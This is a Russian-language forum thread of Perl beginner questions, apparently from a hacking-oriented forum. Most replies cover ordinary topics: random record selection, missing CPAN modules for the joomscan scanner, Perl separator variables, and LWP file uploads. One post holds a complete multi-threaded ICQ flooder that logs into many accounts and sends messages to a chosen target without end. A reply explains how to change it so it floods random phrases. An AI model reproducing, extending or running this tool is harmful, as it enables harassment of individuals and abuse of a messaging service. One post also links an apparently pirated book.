[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
     
  2. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Есть файл вида

    name1
    /**/
    name2+
    some text there
    /**/
    name3
    +
    some text there
    /**/
    name4
    +
    some text there
    .......


    Каким образом можно считывать записи разделенные /**/ рандомно??

    Мысль такая...Читаем файл...заносим в массив записи до того как встретиться /**/ затем след эл-т массива и т.д. а потом рандом из массива читаем... покажите плиз на пальцах как это примерно выглядит
     
  3. Rashid

    Rashid Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    46
    Likes Received:
    4
    Reputations:
    2
    подскажите по такой ошибке, что не хватает для запуска?
    Code:
    # perl joomscan.pl Can't locate HTML/Entities.pm in @INC (@INC 
    contains: /usr/lib/perl5/5.10.0/i486-linux-thread-multi /usr/lib/perl5/5.10.0 /usr/
    lib/perl5/site_perl/5.10.0/i486-linux-thread-multi /usr/lib/perl5/site_perl/5.10.0 /
    usr/lib/perl5/site_perl/5.8.8 /usr/lib/perl5/site_perl /usr/lib/perl5/
    vendor_perl/5.10.0/i486-linux-thread-multi /usr/lib/perl5/vendor_perl/5.10.0 /
    usr/lib/perl5/vendor_perl .) at joomscan.pl line 27. BEGIN failed--compilation 
    aborted at joomscan.pl line 27.
    
     
  4. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Текст как бы намекает: Can't locate HTML/Entities.pm
     
    _________________________
  5. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    2svesve, как вариант
    Code:
    #!/usr/bin/perl
    
    use strict;
    use warnings;
    
    BEGIN { $\ = $/ = "\n" }
    my $text = "name1
    /**/
    name2+
    some text there
    /**/
    name3
    +
    some text there
    /**/
    name4
    +
    some text there
    .......";
    my @str = split /\/\*\*\//, $text;
    print $str[int rand scalar @str];
    
    2Rashid
    Code:
    perl -MCPAN -e 'install HTML::Entities'
    
     
    2 people like this.
  6. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    2krypt3r

    подскажи пожалуйста какое смысловое значение несет эта строка BEGIN { $\ = $/ = "\n" }
    ???
     
  7. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Блок BEGIN {} обрабатывается как можно раньше во время компиляции, даже если его написать в самом конце скрипта. Если пугает, то можно убрать этот блок - функционал почти не изменится )
     
  8. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Нее это то я понимаю, а вт само значение вот этого
    $\ = $/ = "\n" я не догоняю
     
  9. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    $\ aka $ORS aka $OUTPUT_RECORD_SEPARATOR - разделитель выходных записей (фактически указатель конца) для print;
    $/ aka $INPUT_RECORD_SEPARATOR - разделитель входных записей, по умолчанию - символ перевода строки (0x0a), который применяется функциями readline, оператором <FH>, и функцией chomp.
    Подробнее в кэмел-буке.

    ЗЫ. Задрало в конце print добавлять \n, особенно когда их много
     
  10. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Спасибо, будем читать и курить маны )

    З.Ы. случаем нет линка на книженцую?!
     
  11. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Случайно есть - http://files.mail.ru/3KEV1G. Третье издание, русский, естественно
     
    1 person likes this.
  12. .::ICH::.

    .::ICH::. New Member

    Joined:
    1 Aug 2009
    Messages:
    2
    Likes Received:
    4
    Reputations:
    0
    помогите поменять вот это чудо
    Code:
    #!/usr/bin/perl use warnings; use strict; use threads; use threads::shared; use Socket;  my $targetUin = ;  #кого my $message = ' '; #чем my ($host,$port) = ('login.icq.com', 5190); print "\n$0 (c)oded by C!klodoL-=AzoTkiN=-\n"; my @uins : shared; open(FILE, '<uins.txt'); @uins = <FILE>; close(FILE); chomp(@uins); my $threads = scalar @uins; #количество потоков = количеству асек в файле my @thread; for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 } for(1..$threads) { $thread[$_]->join; }  sub flood {     my ($uin,$password) = split(/;/,shift(@uins));     my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.     "\x00\x02".int2bytes(length($password)).     substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).     "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".     "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".     "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".     "\x0E\x00\x02\x75\x73";     my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));     socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));     connect(SOCKET,sockaddr_in($port,inet_aton($host)));     my $response;     sysread(SOCKET,$response,10);     syswrite(SOCKET,$FLAP.$SNAC);     sysread(SOCKET,$response,65535);     close(SOCKET);      if($response=~/MISMATCH_PASSWD/) { return }     my ($BOS_Host, $BOS_Port, $Cookie);     if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {         $Cookie = parsCookie($response);         print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n"     } else { return }     $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;     $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));      socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));     connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BOS_Host)));     sysread(SOCKET,$response,10);     syswrite(SOCKET,$FLAP.$SNAC);     sysread(SOCKET,$response,65535);      $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".     "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".     "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".     "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".     "\x00\x01\x01\x10\x02\x8A";     $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));      syswrite(SOCKET,$FLAP.$SNAC);      for(;;) {         $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02".         pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102).         "\x00\x00".         "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00".         "\x00\x0A\x00\x02\x00\x01\x00\x0F".         "\x00\x00\x27\x11". #хз         int2bytes(length($message)+62). #61 + длина текста         "\x1B\x00\x08".("\x00"x19).         "\x03\x00\x00\x00".         "\x00\x02\x00\x0E\x00\x02".("\x00"x13).         "\x01\x00\x00\x00\x00".         "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00";         $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));         syswrite(SOCKET,$FLAP.$SNAC);         sleep 2+int(rand(3));         print "$uin send message\n"     }  }  sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое  sub parsCookie { #парсер куки     my $cookie = shift;     my $i++;     for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }     return substr($cookie,4+$i,256) }  BEGIN {    #счётчик номера пакета     my $seqNum = int(rand(65535));     sub seqNum {         $seqNum++;         $seqNum = 0 if $seqNum > 65535;         return int2bytes($seqNum)     } }
    чтобы оно флудило случайными фразами
     
    1 person likes this.
  13. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    каким образом через
    $page = $ua->post(....)->as_string;

    Можно отдать данные, медиа файл к примеру.
     
  14. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Замени в начале my $message = '';
    На my @message = ('Text1', 'Text2');

    Далее после for(;;) {
    Напиши my $message = $message[rand @message];

    Например залить картинку на сервер что ли?
     
    _________________________
    1 person likes this.
  15. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11

    Так точно! Залить картинку

    сформирована переменная $data

    my $data =
    "-----------------------------169211662827935\r\n".
    "Content-Disposition: form-data; name=\"act\"\r\n\r\n".
    ......
    ......
    ......
    "Content-Disposition: form-data; name=\"file\"; filename=\"logo.jpg\"\r\n".
    "Content-Type: image/jpeg\r\n\r\n".
    $file."\r\n".
    "-----------------------------169211662827935\r\n";

    куда присобачить это
    "Content-Type: multipart/form-data; boundary=169211662827935\n".
    "Content-Length: ".length($data)."\n\n".$data;
    ?????

    и как выглядеть будет $page=$ua->post();
     
  16. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    http://lwp.interglacial.com/ch05_07.htm
     
    _________________________
  17. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    В документации к HTTP::Request::Common есть пример, как прилеплять к посту файл
    Code:
    POST 'http://www.perl.org/survey.cgi',
      'Content_Type' => 'form-data',
      'Content'      => [ 
        'name'  => 'Gisle Aas',
        'email' => '[email protected]',
        'gender' => 'M',
        'born'   => '1964',
        'init'   => ["$ENV{HOME}/.profile"],
    ]
    
    ЗЫ. Нашел вот у себя скрипт, меняющий вконтакте аватару (в еастоящее время он нерабочий в связи с изменениями на сайте). Кусок POST-запроса
    Code:
    $req = $ua->post ($action, [],
      'Host' => $host,
      'Referer' => $url . 'profileEdit.php?page=photo',
      'Connection' => 'Keep-Alive',
      'Content_Type' => 'form-data',
      'Content' => [
        'subm' => 1,
        'photo' => ['daemon2.jpg']
      ]
    );
    
     
    #1217 krypt3r, 22 Oct 2009
    Last edited: 22 Oct 2009
  18. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    спасибо!
     
  19. .::ICH::.

    .::ICH::. New Member

    Joined:
    1 Aug 2009
    Messages:
    2
    Likes Received:
    4
    Reputations:
    0
    можно плиз конечный вариант^^ я в перле не шарю =( я запутался xD
     
  20. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Code:
    #!/usr/bin/perl
    
    use strict;
    use warnings;
    
    $\ = "\n";
    my $str = <<STR;
    Array
    (
        [parameter] => testing
        [key] => Test1
        [Referrer] => HIDDEN
        [Time] => TRUE
    )
    i like bitches0
    Array
    (
        [parameter] => neva
        [key] => megakey
        [Referrer] => mozilla
        [Time] => 2007-09
    )
    i hate morons8
    STR
    
    while ($str =~ /Array\s*\(\s*\[parameter\]\s*=>\s*(.+)\n\s*\[key\]\s*=>\s*(.+)\n\s*\[Referrer\]\s*=>\s*(.+)\n\s*\[Time\]\s*=>\s*(.+)\n\s*\)\s*(.+?)(\d+)\n|\Z/gm) {
      my ($parameter, $key, $Referrer, $Time, $first_par, $second_par) = ($1, $2, $3, $4, $5, $6);
      last unless defined $key;
      print join ', ' => $parameter, $key, $Referrer, $Time, $first_par, $second_par;
    }
    
     
    1 person likes this.
Thread Status:
Not open for further replies.